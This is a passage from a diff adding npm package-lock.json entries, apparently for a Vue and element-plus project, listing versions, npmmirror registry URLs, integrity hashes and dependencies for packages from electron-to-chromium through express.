"sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "dev": true + }, + "node_modules/electron-to-chromium": { + "version": "1.5.67", + "resolved": "https://registry.npmmirror.com/electron-to-chromium/-/electron-to-chromium-1.5.67.tgz", + "integrity": "sha512-nz88NNBsD7kQSAGGJyp8hS6xSPtWwqNogA0mjtc2nUYeEf3nURK9qpV18TuBdDmEDgVWotS8Wkzf+V52dSQ/LQ==", + "dev": true + }, + "node_modules/element-plus": { + "version": "2.9.0", + "resolved": "https://registry.npmmirror.com/element-plus/-/element-plus-2.9.0.tgz", + "integrity": "sha512-ccOFXKsauo2dtokAr4OX7gZsb7TuAoVxA2zGRZo5o2yyDDBLBaZxOoFQPoxITSLcHbBfQuNDGK5Iag5hnyKkZA==", + "dependencies": { + "@ctrl/tinycolor": "^3.4.1", + "@element-plus/icons-vue": "^2.3.1", + "@floating-ui/dom": "^1.0.1", + "@popperjs/core": "npm:@sxzz/popperjs-es@^2.11.7", + "@types/lodash": "^4.14.182", + "@types/lodash-es": "^4.17.6", + "@vueuse/core": "^9.1.0", + "async-validator": "^4.2.5", + "dayjs": "^1.11.13", + "escape-html": "^1.0.3", + "lodash": "^4.17.21", + "lodash-es": "^4.17.21", + "lodash-unified": "^1.0.2", + "memoize-one": "^6.0.0", + "normalize-wheel-es": "^1.2.0" + }, + "peerDependencies": { + "vue": "^3.2.0" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmmirror.com/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dev": true, + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.17.1", + "resolved": "https://registry.npmmirror.com/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz", + "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/enquirer": { + "version": "2.4.1", + "resolved": "https://registry.npmmirror.com/enquirer/-/enquirer-2.4.1.tgz", + "integrity": "sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==", + "dev": true, + "dependencies": { + "ansi-colors": "^4.1.1", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmmirror.com/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmmirror.com/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dev": true, + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/error-stack-parser": { + "version": "2.1.4", + "resolved": "https://registry.npmmirror.com/error-stack-parser/-/error-stack-parser-2.1.4.tgz", + "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==", + "dev": true, + "dependencies": { + "stackframe": "^1.3.4" + } + }, + "node_modules/es-define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/es-define-property/-/es-define-property-1.0.0.tgz", + "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "1.5.4", + "resolved": "https://registry.npmmirror.com/es-module-lexer/-/es-module-lexer-1.5.4.tgz", + "integrity": "sha512-MVNK56NiMrOwitFB7cqDwq0CQutbw+0BvLshJSse0MUNU+y1FC3bUS/AQg7oUng+/wKrrki7JfmwtVHkVfPLlw==", + "dev": true + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "7.32.0", + "resolved": "https://registry.npmmirror.com/eslint/-/eslint-7.32.0.tgz", + "integrity": "sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==", + "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.", + "dev": true, + "dependencies": { + "@babel/code-frame": "7.12.11", + "@eslint/eslintrc": "^0.4.3", + "@humanwhocodes/config-array": "^0.5.0", + "ajv": "^6.10.0", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.0.1", + "doctrine": "^3.0.0", + "enquirer": "^2.3.5", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^5.1.1", + "eslint-utils": "^2.1.0", + "eslint-visitor-keys": "^2.0.0", + "espree": "^7.3.1", + "esquery": "^1.4.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "functional-red-black-tree": "^1.0.1", + "glob-parent": "^5.1.2", + "globals": "^13.6.0", + "ignore": "^4.0.6", + "import-fresh": "^3.0.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "js-yaml": "^3.13.1", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.0.4", + "natural-compare": "^1.4.0", + "optionator": "^0.9.1", + "progress": "^2.0.0", + "regexpp": "^3.1.0", + "semver": "^7.2.1", + "strip-ansi": "^6.0.0", + "strip-json-comments": "^3.1.0", + "table": "^6.0.9", + "text-table": "^0.2.0", + "v8-compile-cache": "^2.0.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-plugin-vue": { + "version": "8.7.1", + "resolved": "https://registry.npmmirror.com/eslint-plugin-vue/-/eslint-plugin-vue-8.7.1.tgz", + "integrity": "sha512-28sbtm4l4cOzoO1LtzQPxfxhQABararUb1JtqusQqObJpWX2e/gmVyeYVfepizPFne0Q5cILkYGiBoV36L12Wg==", + "dev": true, + "dependencies": { + "eslint-utils": "^3.0.0", + "natural-compare": "^1.4.0", + "nth-check": "^2.0.1", + "postcss-selector-parser": "^6.0.9", + "semver": "^7.3.5", + "vue-eslint-parser": "^8.0.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.2.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/eslint-plugin-vue/node_modules/eslint-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/eslint-utils/-/eslint-utils-3.0.0.tgz", + "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", + "dev": true, + "dependencies": { + "eslint-visitor-keys": "^2.0.0" + }, + "engines": { + "node": "^10.0.0 || ^12.0.0 || >= 14.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + }, + "peerDependencies": { + "eslint": ">=5" + } + }, + "node_modules/eslint-plugin-vue/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/eslint-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/eslint-utils/-/eslint-utils-2.1.0.tgz", + "integrity": "sha512-w94dQYoauyvlDc43XnGB8lU3Zt713vNChgt4EWwhXAP2XkBvndfxF0AgIqKOOasjPIPzj9JqgwkwbCYD0/V3Zg==", + "dev": true, + "dependencies": { + "eslint-visitor-keys": "^1.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + } + }, + "node_modules/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz", + "integrity": "sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint-webpack-plugin": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/eslint-webpack-plugin/-/eslint-webpack-plugin-3.2.0.tgz", + "integrity": "sha512-avrKcGncpPbPSUHX6B3stNGzkKFto3eL+DKM4+VyMrVnhPc3vRczVlCq3uhuFOdRvDHTVXuzwk1ZKUrqDQHQ9w==", + "dev": true, + "dependencies": { + "@types/eslint": "^7.29.0 || ^8.4.1", + "jest-worker": "^28.0.2", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "eslint": "^7.0.0 || ^8.0.0", + "webpack": "^5.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/jest-worker": { + "version": "28.1.3", + "resolved": "https://registry.npmmirror.com/jest-worker/-/jest-worker-28.1.3.tgz", + "integrity": "sha512-CqRA220YV/6jCo8VWvAt1KKx6eek1VIHMPeLEbpcfSfkEeWyBNppynM/o6q+Wmw+sOhos2ml34wZbSX3G13//g==", + "dev": true, + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/eslint-webpack-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/eslint/node_modules/@babel/code-frame": { + "version": "7.12.11", + "resolved": "https://registry.npmmirror.com/@babel/code-frame/-/code-frame-7.12.11.tgz", + "integrity": "sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.10.4" + } + }, + "node_modules/eslint/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/eslint/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/eslint/node_modules/globals": { + "version": "13.24.0", + "resolved": "https://registry.npmmirror.com/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/espree": { + "version": "7.3.1", + "resolved": "https://registry.npmmirror.com/espree/-/espree-7.3.1.tgz", + "integrity": "sha512-v3JCNCE64umkFpmkFGqzVKsOT0tN1Zr+ueqLZfpV1Ob8e+CEgPWa+OxCoGH3tnhimMKIaBm4m/vaRpJ/krRz2g==", + "dev": true, + "dependencies": { + "acorn": "^7.4.0", + "acorn-jsx": "^5.3.1", + "eslint-visitor-keys": "^1.3.0" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/espree/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmmirror.com/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/espree/node_modules/eslint-visitor-keys": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz", + "integrity": "sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/esquery/-/esquery-1.6.0.tgz", + "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", + "dev": true, + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esquery/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esrecurse/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==" + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmmirror.com/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/event-pubsub": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/event-pubsub/-/event-pubsub-4.3.0.tgz", + "integrity": "sha512-z7IyloorXvKbFx9Bpie2+vMJKKx1fH1EN5yiTfp8CiLOTptSYy1g8H4yDpGlEdshL1PBiFtBHepF2cNsqeEeFQ==", + "dev": true, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmmirror.com/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "dev": true + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "dev": true, + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "dev": true, + "dependencies": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/execa/node_modules/cross-spawn": { + "version": "6.0.6", + "resolved": "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-6.0.6.tgz", + "integrity": "sha512-VqCUuhcd1iB+dsv8gxPttb5iZh/D0iubSP21g36KXdEuf6I5JiioesUVjpCdHV9MZRUfVFlvwtIUyPfxo5trtw==", + "dev": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/execa/node_modules/path-key": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/path-key/-/path-key-2.0.1.tgz", + "integrity": "sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/execa/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmmirror.com/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/execa/node_modules/shebang-command": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-1.2.0.tgz", + "integrity": "sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==", + "dev": true, + "dependencies": { + "shebang-regex": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/execa/node_modules/shebang-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/shebang-regex/-/shebang-regex-1.0.0.tgz", + "integrity": "sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/execa/node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/express": { + "version": "4.21.1", + "resolved": "https://registry.npmmirror.com/express/-/express-4.21.1.tgz", + "integrity": "sha512-YSFlK1Ee0/GC8QaO91tHcDxJiE/X4FbpAyQWkxAvG6AXCuR65YzK8ua6D9hvi/TzUfZMpc+BwuM1IPw8fmQBiQ==", + "dev": true, + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.3", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.7.1", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + 